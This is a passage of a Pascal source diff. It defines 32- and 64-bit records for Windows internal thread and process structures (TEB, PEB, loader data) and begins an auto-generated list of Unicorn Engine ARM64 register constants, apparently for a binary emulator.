LIST_ENTRY_64. + Blink : QWORD; // Pointer to LIST_ENTRY_64. + end; + + ACTIVATION_CONTEXT_STACK_32 = record // not packed! + ActiveFrame: DWORD; // Pointer to RTL_ACTIVATION_CONTEXT_STACK_FRAME_32. + FrameListCache : LIST_ENTRY_32; + Flags : ULONG; + NextCookieSequenceNumber : ULONG; + StackId : ULONG; + end; + + ACTIVATION_CONTEXT_STACK_64 = record // not packed! + ActiveFrame: QWORD; // Pointer to RTL_ACTIVATION_CONTEXT_STACK_FRAME_64. + FrameListCache : LIST_ENTRY_64; + Flags : ULONG; + NextCookieSequenceNumber : ULONG; + StackId : ULONG; + end; + + RTL_ACTIVATION_CONTEXT_STACK_FRAME_32 = record // not packed! + Previous: DWORD; // Pointer to RTL_ACTIVATION_CONTEXT_STACK_FRAME_32. + ActivationContext: DWORD; // Pointer to ACTIVATION_CONTEXT_STACK_32. + Flags: ULONG; + end; + + RTL_ACTIVATION_CONTEXT_STACK_FRAME_64 = record // not packed! + Previous: QWORD; // Pointer to RTL_ACTIVATION_CONTEXT_STACK_FRAME_64. + ActivationContext: QWORD; // Pointer to ACTIVATION_CONTEXT_STACK_64. + Flags: ULONG; + end; + + GDI_TEB_BATCH_32 = record // not packed! + Offset: ULONG; + HDC: DWORD; + Buffer: array[0..309] of ULONG; + end; + + GDI_TEB_BATCH_64 = record // not packed! + Offset: ULONG; + HDC: QWORD; + Buffer: array[0..309] of ULONG; + end; + + UNICODE_STRING_32 = record + Length: WORD; + MaximumLength: WORD; + Buffer: DWORD; // Pointer to String . + end; + + UNICODE_STRING_64 = record + Length: WORD; + MaximumLength: WORD; + Buffer: QWORD; // Pointer to String . + end; + + TEB_ACTIVE_FRAME_CONTEXT_32 = record // not packed! + Flags: ULONG; + FrameName: DWORD; // Pointer to PChar . + end; + + TEB_ACTIVE_FRAME_CONTEXT_64 = record // not packed! + Flags: ULONG; + FrameName: QWORD; // Pointer to PChar . + end; + + TEB_ACTIVE_FRAME_32 = record // not packed! + Flags: ULONG; + Previous: DWORD; // Pointer to TEB_ACTIVE_FRAME_32. + Context: DWORD;// Pointer to TEB_ACTIVE_FRAME_CONTEXT_32 + end; + + TEB_ACTIVE_FRAME_64 = record // not packed! + Flags: ULONG; + Previous: QWORD; // Pointer to TEB_ACTIVE_FRAME_64. + Context: QWORD;// Pointer to TEB_ACTIVE_FRAME_CONTEXT_64. + end; + + PROCESSOR_NUMBER = record + Group : WORD; + Number : Byte; + Reserved : Byte; + end; + + EXCEPTION_REGISTRATION_RECORD_32 = record + pNext: DWORD; // Pointer to Next SEH Handler . + pfnHandler: DWORD; // Handler Address . + end; + + EXCEPTION_REGISTRATION_RECORD_64 = record + pNext: QWORD; // Pointer to Next SEH Handler . + pfnHandler: Int64; // Handler Address . + end; + + PEB_LDR_DATA_32 = record // not packed! + Length: ULONG; + Initialized: BOOLEAN; + SsHandle: DWORD; // Pointer . + InLoadOrderModuleList: LIST_ENTRY_32; + InMemoryOrderModuleList: LIST_ENTRY_32; + InInitializationOrderModuleList: LIST_ENTRY_32; + EntryInProgress: DWORD; + ShutdownInProgress : Boolean; + ShutdownThreadId : DWORD; // Pointer . + end; + + PEB_LDR_DATA_64 = record // not packed! + Length: ULONG; + Initialized: BOOLEAN; + SsHandle: QWORD; // Pointer . + InLoadOrderModuleList: LIST_ENTRY_64; + InMemoryOrderModuleList: LIST_ENTRY_64; + InInitializationOrderModuleList: LIST_ENTRY_64; + EntryInProgress: QWORD; + ShutdownInProgress : Boolean; + ShutdownThreadId : QWORD; // Pointer . + end; + + LDR_DATA_TABLE_ENTRY_32 = record // not packed! + InLoadOrderLinks: LIST_ENTRY_32; + InMemoryOrderLinks: LIST_ENTRY_32; + InInitializationOrderLinks: LIST_ENTRY_32; + DllBase: DWORD; + EntryPoint: DWORD; + SizeOfImage: ULONG; + FullDllName: UNICODE_STRING_32; + BaseDllName: UNICODE_STRING_32; + Flags: ULONG; + LoadCount: WORD; + TlsIndex: WORD; + HashLinks: LIST_ENTRY_32; + TimeDateStamp: ULONG; + EntryPointActivationContext: DWORD; // ACTIVATION_CONTEXT + PatchInformation: DWORD; + end; + + LDR_DATA_TABLE_ENTRY_64 = record // not packed! + InLoadOrderLinks: LIST_ENTRY_64; + InMemoryOrderLinks: LIST_ENTRY_64; + InInitializationOrderLinks: LIST_ENTRY_64; + DllBase: QWORD; + EntryPoint: QWORD; + SizeOfImage: ULONG; + FullDllName: UNICODE_STRING_64; + BaseDllName: UNICODE_STRING_64; + Flags: ULONG; + LoadCount: WORD; + TlsIndex: WORD; + HashLinks: LIST_ENTRY_64; + TimeDateStamp: ULONG; + EntryPointActivationContext: QWORD; // ACTIVATION_CONTEXT + PatchInformation: QWORD; + end; + + NT_TIB32 = record + ExceptionList: DWORD; // Pointer to EXCEPTION_REGISTRATION_RECORD_32 . + StackBase: DWORD; + StackLimit: DWORD; + SubSystemTib: DWORD; + Union: record + case Integer of + 0: (FiberData: DWORD); + 1: (Version: DWORD); + end; + ArbitraryUserPointer: DWORD; + Self: DWORD; + end; + + NT_TIB64 = record + ExceptionList: int64; // Pointer to EXCEPTION_REGISTRATION_RECORD_64 . + StackBase: QWORD; + StackLimit: QWORD; + SubSystemTib: QWORD; + Union: record + case Integer of + 0: (FiberData: QWORD); + 1: (Version: DWORD); + end; + ArbitraryUserPointer: QWORD; + Self: QWORD; + end; + + TTIB_32 = record + NtTib: NT_TIB32; + EnvironmentPointer: DWORD; // Pointer + ClientId: CLIENT_ID_32; + ActiveRpcHandle: DWORD; // Pointer . + ThreadLocalStoragePointer: DWORD; + Peb: DWORD; // Pointer to PEB . TODO: Add PEB Structure . + LastErrorValue: ULONG; + CountOfOwnedCriticalSections: ULONG; + CsrClientThread: DWORD; // Pointer . + Win32ThreadInfo: DWORD; // Pointer . + User32Reserved: array[0..25] of ULONG; + UserReserved: array[0..4] of ULONG; + WOW32Reserved: DWORD; // Pointer . + CurrentLocale: ULONG; + FpSoftwareStatusRegister: ULONG; + SystemReserved1: array[0..53] of DWORD; + ExceptionCode: LONG; + ActivationContextStack: DWORD; // Pointer to ACTIVATION_CONTEXT_STACK_32 . + + // Win 10 . + InstrumentationCallbackSp : DWORD; // Pointer . + InstrumentationCallbackPreviousPc : DWORD; // Pointer . + InstrumentationCallbackPreviousSp : DWORD; // Pointer . + InstrumentationCallbackDisabled : Byte; + SpareBytes : array[0..22] of byte; + TxFsContext : ULONG; + + GdiTebBatch: GDI_TEB_BATCH_32; + RealClientId: CLIENT_ID_32; + GdiCachedProcessHandle: DWORD;// Pointer. + + GdiClientPID: ULONG; + GdiClientTID: ULONG; + GdiThreadLocalInfo: DWORD; // Pointer . + Win32ClientInfo: array[0..61] of DWORD; + glDispatchTable: array[0..232] of DWORD; + glReserved1: array[0..28] of DWORD; + glReserved2: DWORD; + glSectionInfo: DWORD; + glSection: DWORD; + glTable: DWORD; + glCurrentRC: DWORD; + glContext: DWORD; + LastStatusValue: ULONG; // 4 byte for both . + + StaticUnicodeString: UNICODE_STRING_32; + StaticUnicodeBuffer: array[0..260] of WCHAR; // WCHAR = 2bytes . + Padding: WORD; + DeallocationStack: DWORD; // Pointer . + TlsSlots: array[0..63] of DWORD; + TlsLinks: LIST_ENTRY_32; + Vdm: DWORD; // Pointer . + ReservedForNtRpc: DWORD; // Pointer . + DbgSsReserved: array[0..1] of DWORD; + HardErrorMode: ULONG; + + Instrumentation: array[0..8] of DWORD; + ActivityId : TGuid; + SubProcessTag : DWORD; // Pointer . + PerflibData : DWORD; // Pointer . + EtwTraceData : DWORD; // Pointer . + + WinSockData: DWORD; // Pointer . + GdiBatchCount: ULONG; + + IdealProcessor : packed record // Both x32 - x64 . + case Integer of + 0: ( + ReservedPad0 : byte; + ReservedPad1 : byte; + ReservedPad2 : byte; + IdealProcessor: BOOLEAN; + ); + 1: (IdealProcessorValue : ULONG;); + 2: (CurrentIdealProcessor : PROCESSOR_NUMBER); + end; + + GuaranteedStackBytes : ULONG; + + ReservedForPerf: DWORD; // Pointer . + ReservedForOle: DWORD; // Pointer . + WaitingOnLoaderLock: ULONG; + + SavedPriorityState : DWORD; // Pointer . + ReservedForCodeCoverage : DWORD; // Pointer . + ThreadPoolData : DWORD; // Pointer . + + TlsExpansionSlots: DWORD;// Pointer to Pointer - read 2 time . + MuiGeneration : ULONG; + + IsImpersonating: ULONG; + NlsCache: DWORD; // Pointer . + pShimData: DWORD;// Pointer . + + + HeapAffinity : packed record + case integer of + 0:( + HeapVirtualAffinity_0 : WORD; // x32 & x64 . + LowFragHeapDataSlot_1 : WORD; // x32 & x64 . + ); + 1:( + HeapVirtualAffinity: ULONG; // till win 7 - x32 & x64.. + ); + end; + + CurrentTransactionHandle: DWORD; // Pointer . + ActiveFrame: DWORD;// Pointer to TEB_ACTIVE_FRAME_32. + FlsData: DWORD; + + PreferredLanguages : DWORD; // Pointer . + UserPrefLanguages : DWORD; // Pointer . + MergedPrefLanguages : DWORD; // Pointer . + MuiImpersonation : ULONG; + + TCrossTebFlags : bitpacked record // both x32 - x64 . + case boolean of + false : ( + SpareCrossTebBits : TSpareCrossTebBits; + ); + true : (CrossTebFlags : WORD) ; + end; + + + TSameTebFlags : bitpacked record // both x32 - x64 . + case boolean of + false : ( + SafeThunkCall , + InDebugPrint , + HasFiberData , + SkipThreadAttach, + WerInShipAssertCode, + RanProcessInit, + ClonedThread, + SuppressDebugMsg, + DisableUserStackWalk, + RtlExceptionAttached, + InitialThread, + SessionAware, + LoadOwner, + LoaderWorker + : T1Bit; + SpareSameTebBits : T2Bits; + ); + true : (SameTebFlags : WORD) ; + end; + + TxnScopeEnterCallback : DWORD; // Pointer . + TxnScopeExitCallback : DWORD; // Pointer . + TxnScopeContext : DWORD; // Pointer . + + LockCount : ULONG; // both x32 - x64 . + SpareUlong0 : ULONG; // both x32 - x64 . + + ResourceRetValue : DWORD; // Pointer . + ReservedForWdf : DWORD; // Pointer . + end; + + TTIB_64 = record + NtTib: NT_TIB64; + EnvironmentPointer: QWORD; // Pointer + ClientId: CLIENT_ID_64; + ActiveRpcHandle: QWORD; // Pointer . + ThreadLocalStoragePointer: QWORD; + Peb: QWORD; // Pointer to PEB64 . TODO: Add PEB64 Structure . + LastErrorValue: ULONG; + CountOfOwnedCriticalSections: ULONG; + CsrClientThread: QWORD; // Pointer . + Win32ThreadInfo: QWORD; // Pointer . + User32Reserved: array[0..25] of ULONG; + UserReserved: array[0..4] of ULONG; + WOW32Reserved: QWORD; // Pointer . + CurrentLocale: ULONG; + FpSoftwareStatusRegister: ULONG; + SystemReserved1: array[0..53] of QWORD; + ExceptionCode: LONG; + + Padding0 : array[0..3] of byte; + + ActivationContextStack: QWORD; // Pointer to ACTIVATION_CONTEXT_STACK_32 . + + // Win 10 . + InstrumentationCallbackSp : QWORD; // Pointer . + InstrumentationCallbackPreviousPc : QWORD; // Pointer . + InstrumentationCallbackPreviousSp : QWORD; // Pointer . + TxFsContext : ULONG; + InstrumentationCallbackDisabled : Byte; + Padding1 : array[0..2] of byte; + + GdiTebBatch: GDI_TEB_BATCH_64; + RealClientId: CLIENT_ID_64; + GdiCachedProcessHandle: QWORD;// Pointer. + + GdiClientPID: ULONG; + GdiClientTID: ULONG; + GdiThreadLocalInfo: QWORD; // Pointer . + Win32ClientInfo: array[0..61] of QWORD; + glDispatchTable: array[0..232] of QWORD; + glReserved1: array[0..28] of QWORD; + glReserved2: QWORD; + glSectionInfo: QWORD; + glSection: QWORD; + glTable: QWORD; + glCurrentRC: QWORD; + glContext: QWORD; + LastStatusValue: ULONG; // 4 byte for both . + Padding2 : array[0..3] of byte; + + StaticUnicodeString: UNICODE_STRING_64; + StaticUnicodeBuffer: array[0..260] of WCHAR; // WCHAR = 2bytes . + Padding3 : array[0..5] of byte; + + DeallocationStack: QWORD; // Pointer . + TlsSlots: array[0..63] of QWORD; + TlsLinks: LIST_ENTRY_64; + Vdm: QWORD; // Pointer . + ReservedForNtRpc: QWORD; // Pointer . + DbgSsReserved: array[0..1] of QWORD; + HardErrorMode: ULONG; + + Padding4 : array[0..3] of byte; + + Instrumentation: array[0..10] of QWORD; + ActivityId : TGuid; + SubProcessTag : QWORD; // Pointer . + PerflibData : QWORD; // Pointer . + EtwTraceData : QWORD; // Pointer . + + WinSockData: QWORD; // Pointer . + GdiBatchCount: ULONG; + + IdealProcessor : packed record // Both x32 - x64 . + case Integer of + 0: ( + ReservedPad0 : byte; + ReservedPad1 : byte; + ReservedPad2 : byte; + IdealProcessor: BOOLEAN; + ); + 1: (IdealProcessorValue : ULONG;); + 2: (CurrentIdealProcessor : PROCESSOR_NUMBER); + end; + + GuaranteedStackBytes : ULONG; + + Padding5 : array[0..3] of byte; + + ReservedForPerf: QWORD; // Pointer . + ReservedForOle: QWORD; // Pointer . + WaitingOnLoaderLock: ULONG; + + Padding6 : array[0..3] of byte; + + SavedPriorityState : QWORD; // Pointer . + ReservedForCodeCoverage : QWORD; // Pointer . + ThreadPoolData : QWORD; // Pointer . + + TlsExpansionSlots: QWORD;// Pointer to Pointer - read 2 time . + + DeallocationBStore : QWORD; // Pointer . + BStoreLimit : QWORD; // Pointer . + + MuiGeneration : ULONG; + IsImpersonating: ULONG; + + NlsCache: QWORD; // Pointer . + pShimData: QWORD;// Pointer . + + HeapAffinity : packed record + case integer of + 0:( + HeapVirtualAffinity_0 : WORD; // x32 & x64 . + LowFragHeapDataSlot_1 : WORD; // x32 & x64 . + ); + 1:( + HeapVirtualAffinity: ULONG; // till win 7 - x32 & x64.. + ); + end; + + Padding7 : array[0..3] of byte; + + CurrentTransactionHandle: QWORD; // Pointer . + ActiveFrame: QWORD;// Pointer to TEB_ACTIVE_FRAME_64. + FlsData: QWORD; + + PreferredLanguages : QWORD; // Pointer . + UserPrefLanguages : QWORD; // Pointer . + MergedPrefLanguages : QWORD; // Pointer . + MuiImpersonation : ULONG; + + + TCrossTebFlags : bitpacked record // both x32 - x64 . + case boolean of + false : ( + SpareCrossTebBits : TSpareCrossTebBits; + ); + true : (CrossTebFlags : WORD) ; + end; + + + TSameTebFlags : bitpacked record // both x32 - x64 . + case boolean of + false : ( + SafeThunkCall, + InDebugPrint, + HasFiberData, + SkipThreadAttach, + WerInShipAssertCode, + RanProcessInit, + ClonedThread, + SuppressDebugMsg, + DisableUserStackWalk, + RtlExceptionAttached, + InitialThread, + SessionAware, + LoadOwner, + LoaderWorker + : T1Bit; + SpareSameTebBits : T2Bits; + ); + true : (SameTebFlags : WORD) ; + end; + + TxnScopeEnterCallback : QWORD; // Pointer . + TxnScopeExitCallback : QWORD; // Pointer . + TxnScopeContext : QWORD; // Pointer . + + LockCount : ULONG; // both x32 - x64 . + WowTebOffset : ULONG; // both x32 - x64 . + + ResourceRetValue : QWORD; // Pointer . + ReservedForWdf : QWORD; // Pointer . + ReservedForCrt : QWORD; + EffectiveContainerId : TGuid; + end; + + TPEB_32 = record + InheritedAddressSpace: BOOLEAN; + ReadImageFileExecOptions: BOOLEAN; + BeingDebugged: BOOLEAN; + + BitFields : bitpacked record // both x32 - x64 . + case boolean of + false : ( + ImageUsesLargePages , + IsProtectedProcess , + IsImageDynamicallyRelocated , + SkipPatchingUser32Forwarders, + IsPackagedProcess, + IsAppContainer, + IsProtectedProcessLight, + SpareBit : T1Bit; + ); + true : (SpareBool : Boolean); + end; + + Mutant: DWORD; // Pointer . + ImageBaseAddress: DWORD; + Ldr: DWORD;// Pointer PEB_LDR_DATA + ProcessParameters: DWORD;// TODO : PRTL_USER_PROCESS_PARAMETERS ; + SubSystemData: DWORD; // Pointer + ProcessHeap: DWORD; // Pointer + FastPebLock: DWORD; // Pointer - TODO : PRTL_CRITICAL_SECTION ; + + + AtlThunkSListPtr : DWORD; // Pointer . + IFEOKey : DWORD; // Pointer . + + CrossProcessFlags : bitpacked record // Both x32 - x64 . + case Integer of + 0: ( + ProcessInJob, + ProcessInitializing, + ProcessUsingVEH, + ProcessUsingVCH, + ProcessUsingFTH : T1Bit; + ReservedBits0 : 0..$7FFFFFF; // 27 bits . + ); + 1: (CrossProcessFlag : ULONG) + end; + + KernelCallbackTable: DWORD; // Pointer to Pointer - List of callback functions + SystemReserved: array[0..0] of ULONG; + AtlThunkSListPtr32 : ULONG; + ApiSetMap: DWORD; // Pointer . + TlsExpansionCounter: ULONG; + TlsBitmap: DWORD; // Pointer - ntdll!TlsBitMap of type PRTL_BITMAP . + TlsBitmapBits: array[0..1] of ULONG; // 64 bits + + ReadOnlySharedMemoryBase: DWORD; // Pointer . + HotpatchInformation: DWORD; // Pointer . + + ReadOnlyStaticServerData: DWORD; // Pointer - PTEXT_INFO . + AnsiCodePageData: DWORD; // Pointer . + OemCodePageData: DWORD; // Pointer . + UnicodeCaseTableData: DWORD; // Pointer . + NumberOfProcessors: ULONG; + NtGlobalFlag: ULONG; + Unknown01: ULONG; // Padding or something + CriticalSectionTimeout: LARGE_INTEGER; + HeapSegmentReserve: ULONG; + HeapSegmentCommit: ULONG; + HeapDeCommitTotalFreeThreshold: ULONG; + HeapDeCommitFreeBlockThreshold: ULONG; + NumberOfHeaps: ULONG; + MaximumNumberOfHeaps: ULONG; + ProcessHeaps: DWORD; // Pointer to Pointers. + GdiSharedHandleTable: DWORD; // Pointer to Pointers. + ProcessStarterHelper: DWORD; // Pointer . + GdiDCAttributeList: ULONG; + + LoaderLock: DWORD; // Pointer to RTL_CRITICAL_SECTION . + + OSMajorVersion: ULONG; + OSMinorVersion: ULONG; + OSBuildNumber: word; + OSCSDVersion: word; + OSPlatformId: ULONG; + ImageSubsystem: ULONG; + ImageSubsystemMajorVersion: ULONG; + ImageSubsystemMinorVersion: ULONG; + + ActiveProcessAffinityMask : DWORD; + + GdiHandleBuffer: array[0..33] of ULONG; + PostProcessInitRoutine: DWORD; // Pointer . + TlsExpansionBitmap: DWORD; // Pointer . + TlsExpansionBitmapBits: array[0..31] of ULONG; + SessionId: ULONG; + + AppCompatFlags: ULARGE_INTEGER; + AppCompatFlagsUser: ULARGE_INTEGER; + pShimData: DWORD; // Pointer . + AppCompatInfo: DWORD; // Pointer . + CSDVersion: UNICODE_STRING_32; + + ActivationContextData: DWORD; // Pointer to ACTIVATION_CONTEXT_DATA + ProcessAssemblyStorageMap: DWORD; // Pointer to PASSEMBLY_STORAGE_MAP + SystemDefaultActivationContextData: DWORD; // Pointer to ACTIVATION_CONTEXT_DATA + SystemAssemblyStorageMap: DWORD; // Pointer to ASSEMBLY_STORAGE_MAP + + MinimumStackCommit: DWORD; + + FlsCallback: DWORD; // Pointer to Pointer . + FlsListHead: LIST_ENTRY_32; + FlsBitmap: DWORD; // Pointer . + FlsBitmapBits: array[0..3] of ULONG; + FlsHighIndex: ULONG; + WerRegistrationData : DWORD; // Pointer . + WerShipAssertPtr : DWORD; // Pointer . + pContextData : DWORD; // Pointer . + pImageHeaderHash : DWORD; // Pointer . + + TracingFlags : bitpacked record // Both x32 - x64 . + case boolean of + False: ( + HeapTracingEnabled : T1Bit; + CritSecTracingEnabled : T1Bit; + LibLoaderTracingEnabled : T1Bit; + SpareTracingBits : 0..$1FFFFFFF; // 29 bits . + ); + True: (TracingFlag : ULONG) + end; + + Unknown02: ULONG; // Padding or something + CsrServerReadOnlySharedMemoryBase : QWORD; + TppWorkerpListLock : DWORD; + TppWorkerpList : LIST_ENTRY_32; + WaitOnAddressHashTable : array [0..127] of DWORD; // Pointers . + end; + + TPEB_64 = record + InheritedAddressSpace: BOOLEAN; + ReadImageFileExecOptions: BOOLEAN; + BeingDebugged: BOOLEAN; + + BitFields : bitpacked record // both x32 - x64 . + case boolean of + false : ( + ImageUsesLargePages , + IsProtectedProcess , + IsImageDynamicallyRelocated , + SkipPatchingUser32Forwarders, + IsPackagedProcess, + IsAppContainer, + IsProtectedProcessLight, + SpareBit : T1Bit; + ); + true : (SpareBool : Boolean); + end; + Padding0 : ULONG; + Mutant: QWORD; // Pointer . + ImageBaseAddress: QWORD; + Ldr: Int64;// Pointer PEB_LDR_DATA << TODO add it . + ProcessParameters: Int64;// TODO : PRTL_USER_PROCESS_PARAMETERS ; + SubSystemData: QWORD; // Pointer + ProcessHeap: QWORD; // Pointer + FastPebLock: QWORD; // Pointer - TODO : PRTL_CRITICAL_SECTION ; + + AtlThunkSListPtr : QWORD; // Pointer + IFEOKey : QWORD; // Pointer + + CrossProcessFlags : bitpacked record // Both x32 - x64 . + case Integer of + 0: ( + ProcessInJob, + ProcessInitializing, + ProcessUsingVEH, + ProcessUsingVCH, + ProcessUsingFTH : T1Bit; + ReservedBits0 : 0..$7FFFFFF; // 27 bits . + ); + 1: (CrossProcessFlag : ULONG) + end; + Padding1 : ULONG; + + KernelCallbackTable: QWORD; // Pointer to Pointer - List of callback functions + SystemReserved: array[0..0] of ULONG; + AtlThunkSListPtr32 : ULONG; + ApiSetMap : QWORD; + TlsExpansionCounter: ULONG; + Padding2 : ULONG; + TlsBitmap: QWORD; // Pointer - ntdll!TlsBitMap of type PRTL_BITMAP . + TlsBitmapBits: array[0..1] of ULONG; // 64 bits + ReadOnlySharedMemoryBase: QWORD; // Pointer . + + HotpatchInformation : QWORD; // Pointer . + ReadOnlyStaticServerData: QWORD; // Pointer - PTEXT_INFO . + AnsiCodePageData: QWORD; // Pointer . + OemCodePageData: QWORD; // Pointer . + UnicodeCaseTableData: QWORD; // Pointer . + NumberOfProcessors: ULONG; + NtGlobalFlag: ULONG; + CriticalSectionTimeout: LARGE_INTEGER; + HeapSegmentReserve: QWORD; + HeapSegmentCommit: QWORD; + HeapDeCommitTotalFreeThreshold: QWORD; + HeapDeCommitFreeBlockThreshold: QWORD; + NumberOfHeaps: ULONG; + MaximumNumberOfHeaps: ULONG; + ProcessHeaps: QWORD; // Pointer to Pointers. + GdiSharedHandleTable: QWORD; // Pointer to Pointers. + ProcessStarterHelper: QWORD; // Pointer . + GdiDCAttributeList: ULONG; + Padding3 : ULONG; + + LoaderLock: QWORD; // Pointer to PCRITICAL_SECTION . + OSMajorVersion : ULONG; + OSMinorVersion : ULONG; + OSBuildNumber : word; + OSCSDVersion : word; + OSPlatformId : ULONG; + ImageSubsystem : ULONG; + ImageSubsystemMajorVersion: ULONG; + ImageSubsystemMinorVersion: ULONG; + Padding4 : ULONG; + + ActiveProcessAffinityMask : QWORD; + GdiHandleBuffer: array[0..59] of ULONG; // x64: unsigned long[60] . + PostProcessInitRoutine: QWORD; // Pointer . + TlsExpansionBitmap: QWORD; // Pointer . + TlsExpansionBitmapBits: array[0..31] of ULONG; + SessionId: ULONG; + Padding5 : ULONG; + + AppCompatFlags: ULARGE_INTEGER; + AppCompatFlagsUser: ULARGE_INTEGER; + pShimData: QWORD; // Pointer . + AppCompatInfo: QWORD; // Pointer . + CSDVersion: UNICODE_STRING_64; + ActivationContextData: QWORD; // Pointer to ACTIVATION_CONTEXT_DATA + ProcessAssemblyStorageMap: QWORD; // Pointer to PASSEMBLY_STORAGE_MAP + SystemDefaultActivationContextData: QWORD; // Pointer to ACTIVATION_CONTEXT_DATA + SystemAssemblyStorageMap: QWORD; // Pointer to ASSEMBLY_STORAGE_MAP + MinimumStackCommit: QWORD; + FlsCallback: QWORD; // Pointer to Pointer . + FlsListHead: LIST_ENTRY_64; + FlsBitmap: QWORD; // Pointer . + FlsBitmapBits: array[0..3] of ULONG; + FlsHighIndex: ULONG; + WerRegistrationData : QWORD; // Pointer . + WerShipAssertPtr : QWORD; // Pointer . + pContextData : QWORD; // pUnused . + pImageHeaderHash : QWORD; // Pointer . + + TracingFlags : bitpacked record // Both x32 - x64 . + case Integer of + 0: ( + HeapTracingEnabled : T1Bit; + CritSecTracingEnabled : T1Bit; + LibLoaderTracingEnabled : T1Bit; + SpareTracingBits : 0..$1FFFFFFF; // 29 bits . + ); + 1: (TracingFlag : ULONG) + end; + Padding6: ULONG; + CsrServerReadOnlySharedMemoryBase : QWORD; + TppWorkerpListLock : QWORD; + TppWorkerpList : LIST_ENTRY_64; + WaitOnAddressHashTable : array [0..127] of QWORD; // Pointers . + end; + +implementation + +end. + diff --git a/Core/unicorn/Arm64Const.pas b/Core/unicorn/Arm64Const.pas new file mode 100644 index 0000000..f70dfd7 --- /dev/null +++ b/Core/unicorn/Arm64Const.pas @@ -0,0 +1,288 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit Arm64Const; + +interface + +const +// ARM64 registers + + UC_ARM64_REG_INVALID = 0; + UC_ARM64_REG_X29 = 1; + UC_ARM64_REG_X30 = 2; + UC_ARM64_REG_NZCV = 3; + UC_ARM64_REG_SP = 4; + UC_ARM64_REG_WSP = 5; + UC_ARM64_REG_WZR = 6; + UC_ARM64_REG_XZR = 7; + UC_ARM64_REG_B0 = 8; + UC_ARM64_REG_B1 = 9; + UC_ARM64_REG_B2 = 10; + UC_ARM64_REG_B3 = 11; + UC_ARM64_REG_B4 = 12; + UC_ARM64_REG_B5 = 13; + UC_ARM64_REG_B6 = 14; + UC_ARM64_REG_B7 = 15; + UC_ARM64_REG_B8 = 16; + UC_ARM64_REG_B9 = 17; + UC_ARM64_REG_B10 = 18; + UC_ARM64_REG_B11 = 19; + UC_ARM64_REG_B12 = 20; + UC_ARM64_REG_B13 = 21; + UC_ARM64_REG_B14 = 22; + UC_ARM64_REG_B15 = 23; + UC_ARM64_REG_B16 = 24; + UC_ARM64_REG_B17 = 25; + UC_ARM64_REG_B18 = 26; + UC_ARM64_REG_B19 = 27; + UC_ARM64_REG_B20 = 28; + UC_ARM64_REG_B21 = 29; + UC_ARM64_REG_B22 = 30; + UC_ARM64_REG_B23 = 31; + UC_ARM64_REG_B24 = 32; + UC_ARM64_REG_B25 = 33; + UC_ARM64_REG_B26 = 34; + UC_ARM64_REG_B27 = 35; + UC_ARM64_REG_B28 = 36; + UC_ARM64_REG_B29 = 37; + UC_ARM64_REG_B30 = 38; + UC_ARM64_REG_B31 = 39; + UC_ARM64_REG_D0 = 40; + UC_ARM64_REG_D1 = 41; + UC_ARM64_REG_D2 = 42; + UC_ARM64_REG_D3 = 43; + UC_ARM64_REG_D4 = 44; + UC_ARM64_REG_D5 = 45; + UC_ARM64_REG_D6 = 46; + UC_ARM64_REG_D7 = 47; + UC_ARM64_REG_D8 = 48; + UC_ARM64_REG_D9 = 49; + UC_ARM64_REG_D10 = 50; + UC_ARM64_REG_D11 = 51; + UC_ARM64_REG_D12 = 52; + UC_ARM64_REG_D13 = 53; + UC_ARM64_REG_D14 = 54; + UC_ARM64_REG_D15 = 55; + UC_ARM64_REG_D16 = 56; + UC_ARM64_REG_D17 = 57; + UC_ARM64_REG_D18 = 58; + UC_ARM64_REG_D19 = 59; + UC_ARM64_REG_D20 = 60; + UC_ARM64_REG_D21 = 61; + UC_ARM64_REG_D22 = 62; + UC_ARM64_REG_D23 = 63; + UC_ARM64_REG_D24 = 64; + UC_ARM64_REG_D25 = 65; + UC_ARM64_REG_D26 = 66; + UC_ARM64_REG_D27 = 67; + UC_ARM64_REG_D28 = 68; + UC_ARM64_REG_D29 = 69; + UC_ARM64_REG_D30 = 70; + UC_ARM64_REG_D31 = 71; + UC_ARM64_REG_H0 = 72; + UC_ARM64_REG_H1 = 73; + UC_ARM64_REG_H2 = 74; + UC_ARM64_REG_H3 = 75; + UC_ARM64_REG_H4 = 76; + UC_ARM64_REG_H5 = 77; + UC_ARM64_REG_H6 = 78; + UC_ARM64_REG_H7 = 79; + UC_ARM64_REG_H8 = 80; + UC_ARM64_REG_H9 = 81; + UC_ARM64_REG_H10 = 82; + UC_ARM64_REG_H11 = 83; + UC_ARM64_REG_H12 = 84; + UC_ARM64_REG_H13 = 85; + UC_ARM64_REG_H14 = 86; + UC_ARM64_REG_H15 = 87; + UC_ARM64_REG_H16 = 88; + UC_ARM64_REG_H17 = 89; + UC_ARM64_REG_H18 = 90; + UC_ARM64_REG_H19 = 91; + UC_ARM64_REG_H20 = 92; + UC_ARM64_REG_H21 = 93; + UC_ARM64_REG_H22 = 94; + UC_ARM64_REG_H23 = 95; + UC_ARM64_REG_H24 = 96; + UC_ARM64_REG_H25 = 97; + UC_ARM64_REG_H26 = 98; + UC_ARM64_REG_H27 = 99; + UC_ARM64_REG_H28 = 100; + UC_ARM64_REG_H29 = 101; + UC_ARM64_REG_H30 = 102; + UC_ARM64_REG_H31 = 103; + UC_ARM64_REG_Q0 = 104; + UC_ARM64_REG_Q1 = 105; + UC_ARM64_REG_Q2 = 106; + UC_ARM64_REG_Q3 = 107; + UC_ARM64_REG_Q4 = 108; + UC_ARM64_REG_Q5 = 109; + UC_ARM64_REG_Q6 = 110; + UC_ARM64_REG_Q7 = 111; + UC_ARM64_REG_Q8 = 112; + UC_ARM64_REG_Q9 = 113; + UC_ARM64_REG_Q10 = 114; + UC_ARM64_REG_Q11 = 115; + UC_ARM64_REG_Q12 = 116; + UC_ARM64_REG_Q13 = 117; + UC_ARM64_REG_Q14 = 118; + UC_ARM64_REG_Q15 = 119; + UC_ARM64_REG_Q16 = 120; + UC_ARM64_REG_Q17 = 121; + UC_ARM64_REG_Q18 = 122; + UC_ARM64_REG_Q19 = 123; + UC_ARM64_REG_Q20 = 124; + UC_ARM64_REG_Q21 = 125; + UC_ARM64_REG_Q22 = 126; + UC_ARM64_REG_Q23 = 127; + UC_ARM64_REG_Q24 = 128; + UC_ARM64_REG_Q25 = 129; + UC_ARM64_REG_Q26 = 130; + UC_ARM64_REG_Q27 = 131; + UC_ARM64_REG_Q28 = 132; + UC_ARM64_REG_Q29 = 133; + UC_ARM64_REG_Q30 = 134; + UC_ARM64_REG_Q31 = 135; + UC_ARM64_REG_S0 = 136; + UC_ARM64_REG_S1 = 137; + UC_ARM64_REG_S2 = 138; + UC_ARM64_REG_S3 = 139; + 